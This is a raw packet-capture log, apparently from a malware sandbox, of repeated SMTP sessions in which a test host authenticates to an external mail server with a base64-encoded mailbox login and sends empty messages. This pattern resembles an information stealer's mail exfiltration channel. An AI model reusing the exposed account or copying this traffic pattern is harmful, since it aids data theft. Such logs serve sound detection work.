Mar 3, 2021 07:34:24.188370943 CET	587	49820	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:41 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:24.188740969 CET	49820	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:24.341854095 CET	587	49820	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:24.342364073 CET	49820	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:24.495600939 CET	587	49820	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:24.659380913 CET	587	49820	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:24.661325932 CET	49820	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:24.814769983 CET	587	49820	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:24.815233946 CET	49820	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:24.973018885 CET	587	49820	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:24.973432064 CET	49820	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:25.126668930 CET	587	49820	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:25.128391027 CET	49820	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:25.289593935 CET	587	49820	35.208.150.174	192.168.2.4	250 OK id=1lHL5m-000HYp-HJ
Mar 3, 2021 07:34:25.291506052 CET	49820	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:25.444892883 CET	587	49820	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:28.485110044 CET	587	49824	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:45 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:28.485704899 CET	49824	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:28.637450933 CET	587	49824	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:28.637916088 CET	49824	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:28.790002108 CET	587	49824	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:28.951616049 CET	587	49824	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:28.952049971 CET	49824	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:29.105917931 CET	587	49824	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:29.106309891 CET	49824	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:29.264379978 CET	587	49824	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:29.264909029 CET	49824	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:29.417443037 CET	587	49824	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:29.419684887 CET	49824	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:29.580270052 CET	587	49824	35.208.150.174	192.168.2.4	250 OK id=1lHL5q-000HYv-Qk
Mar 3, 2021 07:34:29.581372023 CET	49824	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:29.735155106 CET	587	49824	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:30.257067919 CET	587	49828	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:47 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:30.257491112 CET	49828	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:30.411417961 CET	587	49828	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:30.411859989 CET	49828	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:30.563930035 CET	587	49828	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:30.725194931 CET	587	49828	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:30.725662947 CET	49828	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:30.877701044 CET	587	49828	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:30.878001928 CET	49828	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:31.034969091 CET	587	49828	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:31.035321951 CET	49828	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:31.188926935 CET	587	49828	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:31.190890074 CET	49828	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:31.350518942 CET	587	49828	35.208.150.174	192.168.2.4	250 OK id=1lHL5s-000HZ3-JN
Mar 3, 2021 07:34:31.351645947 CET	49828	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:31.505937099 CET	587	49828	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:32.050030947 CET	587	49829	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:49 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:32.050371885 CET	49829	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:32.201647043 CET	587	49829	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:32.201999903 CET	49829	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:32.353581905 CET	587	49829	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:32.514403105 CET	587	49829	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:32.514765024 CET	49829	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:32.666177034 CET	587	49829	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:32.666632891 CET	49829	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:32.823071957 CET	587	49829	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:32.823451996 CET	49829	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:32.977477074 CET	587	49829	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:32.979358912 CET	49829	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:33.138952017 CET	587	49829	35.208.150.174	192.168.2.4	250 OK id=1lHL5u-000HZ9-CY
Mar 3, 2021 07:34:33.140276909 CET	49829	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:33.294758081 CET	587	49829	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:33.929887056 CET	587	49831	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:51 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:33.930327892 CET	49831	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:34.081496000 CET	587	49831	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:34.081815004 CET	49831	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:34.234788895 CET	587	49831	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:34.398065090 CET	587	49831	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:34.537962914 CET	49831	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:34.689532042 CET	587	49831	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:34.689867020 CET	49831	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:34.845978022 CET	587	49831	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:34.846240997 CET	49831	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:34.997535944 CET	587	49831	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:35.000389099 CET	49831	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:35.159571886 CET	587	49831	35.208.150.174	192.168.2.4	250 OK id=1lHL5w-000HZF-DC
Mar 3, 2021 07:34:35.160353899 CET	49831	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:35.311779022 CET	587	49831	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:36.177757025 CET	587	49832	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:53 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:36.178975105 CET	49832	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:36.331778049 CET	587	49832	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:36.332144976 CET	49832	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:36.484388113 CET	587	49832	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:37.200100899 CET	587	49832	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:37.200428009 CET	49832	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:37.352926016 CET	587	49832	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:37.353080988 CET	49832	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:37.510330915 CET	587	49832	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:37.533428907 CET	49832	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:37.685229063 CET	587	49832	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:37.686078072 CET	49832	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:37.846685886 CET	587	49832	35.208.150.174	192.168.2.4	250 OK id=1lHL5z-000HZL-38
Mar 3, 2021 07:34:37.847269058 CET	49832	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:37.999269962 CET	587	49832	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:38.303765059 CET	587	49833	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:55 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:38.304037094 CET	49833	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:38.455226898 CET	587	49833	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:38.455410004 CET	49833	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:38.606853008 CET	587	49833	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:38.766120911 CET	587	49833	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:38.766350985 CET	49833	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:38.917881012 CET	587	49833	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:38.918060064 CET	49833	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:39.074100018 CET	587	49833	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:39.074352026 CET	49833	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:39.227124929 CET	587	49833	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:39.227727890 CET	49833	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:39.393582106 CET	587	49833	35.208.150.174	192.168.2.4	250 OK id=1lHL60-000HZR-Kb
Mar 3, 2021 07:34:39.394488096 CET	49833	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:39.546116114 CET	587	49833	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:39.855206966 CET	587	49834	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:57 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:39.855417967 CET	49834	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:40.009325027 CET	587	49834	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:40.009525061 CET	49834	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:40.163192987 CET	587	49834	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:40.324234009 CET	587	49834	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:40.324455023 CET	49834	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:40.518495083 CET	587	49834	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:40.518760920 CET	49834	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:40.678908110 CET	587	49834	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:40.679130077 CET	49834	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:40.832246065 CET	587	49834	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:40.832751989 CET	49834	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:40.993966103 CET	587	49834	35.208.150.174	192.168.2.4	250 OK id=1lHL62-000HZX-7o
Mar 3, 2021 07:34:40.995100975 CET	49834	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:41.149617910 CET	587	49834	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:41.473901987 CET	587	49835	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:58 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:41.474087954 CET	49835	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:41.635405064 CET	587	49835	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:41.635679007 CET	49835	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:41.797290087 CET	587	49835	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:41.968713045 CET	587	49835	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:41.969356060 CET	49835	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:42.132488012 CET	587	49835	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:42.132752895 CET	49835	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:42.300730944 CET	587	49835	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:42.301146030 CET	49835	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:42.464983940 CET	587	49835	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:42.466605902 CET	49835	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:42.637590885 CET	587	49835	35.208.150.174	192.168.2.4	250 OK id=1lHL63-000HZf-Rx
Mar 3, 2021 07:34:42.639036894 CET	49835	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:42.800404072 CET	587	49835	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:43.109785080 CET	587	49836	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:35:00 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:43.110039949 CET	49836	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:43.262873888 CET	587	49836	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:43.263112068 CET	49836	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:43.416893959 CET	587	49836	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:43.580120087 CET	587	49836	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:43.581617117 CET	49836	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:43.753820896 CET	587	49836	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:43.754096031 CET	49836	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:43.912909985 CET	587	49836	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:43.913187027 CET	49836	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:44.066021919 CET	587	49836	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:44.066822052 CET	49836	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:44.232114077 CET	587	49836	35.208.150.174	192.168.2.4	250 OK id=1lHL65-000HZm-FM
Mar 3, 2021 07:34:44.232919931 CET	49836	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:44.386013985 CET	587	49836	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:44.699028015 CET	587	49837	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:35:02 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:44.699218988 CET	49837	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:44.852168083 CET	587	49837	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:44.852471113 CET	49837	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:45.005765915 CET	587	49837	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:45.170619011 CET	587	49837	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:45.170850039 CET	49837	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:45.324052095 CET	587	49837	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:45.324315071 CET	49837	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:45.485187054 CET	587	49837	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:45.485410929 CET	49837	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:45.638139009 CET	587	49837	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:45.638813972 CET	49837	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:45.799581051 CET	587	49837	35.208.150.174	192.168.2.4	250 OK id=1lHL67-000Ha0-1Y
Mar 3, 2021 07:34:45.800247908 CET	49837	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:45.953255892 CET	587	49837	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:46.261409998 CET	587	49838	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:35:03 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:46.261698008 CET	49838	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:46.414546013 CET	587	49838	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:46.414943933 CET	49838	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:46.567972898 CET	587	49838	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:46.728792906 CET	587	49838	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:46.731178045 CET	49838	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:46.886564970 CET	587	49838	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:46.890733957 CET	49838	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:47.048625946 CET	587	49838	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:47.048841000 CET	49838	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:47.201618910 CET	587	49838	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:47.202147007 CET	49838	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:47.364666939 CET	587	49838	35.208.150.174	192.168.2.4	250 OK id=1lHL68-000Ha7-Jj
Mar 3, 2021 07:34:47.365448952 CET	49838	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:47.518516064 CET	587	49838	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:47.825413942 CET	587	49839	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:35:05 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:47.829420090 CET	49839	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:47.981077909 CET	587	49839	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:47.981437922 CET	49839	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:48.135529041 CET	587	49839	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:48.296371937 CET	587	49839	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:48.296586990 CET	49839	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:48.450247049 CET	587	49839	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:48.452943087 CET	49839	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:48.612354040 CET	587	49839	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:48.612788916 CET	49839	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:48.766273975 CET	587	49839	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:48.770509958 CET	49839	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:48.930594921 CET	587	49839	35.208.150.174	192.168.2.4	250 OK id=1lHL6A-000HaD-5k
Mar 3, 2021 07:34:48.931802988 CET	49839	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:49.084508896 CET	587	49839	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:49.393733978 CET	587	49840	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:35:06 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:49.394078016 CET	49840	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:49.546837091 CET	587	49840	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:49.547053099 CET	49840	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:49.701488018 CET	587	49840	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:49.862065077 CET	587	49840	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:49.862226963 CET	49840	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:50.015299082 CET	587	49840	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:50.015481949 CET	49840	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:50.174143076 CET	587	49840	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:50.174355030 CET	49840	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:50.327296972 CET	587	49840	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:50.327749968 CET	49840	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:50.490812063 CET	587	49840	35.208.150.174	192.168.2.4	250 OK id=1lHL6B-000HaJ-Nm
Mar 3, 2021 07:34:50.491667032 CET	49840	587	192.168.2.4	35.208.150.174	QUIT
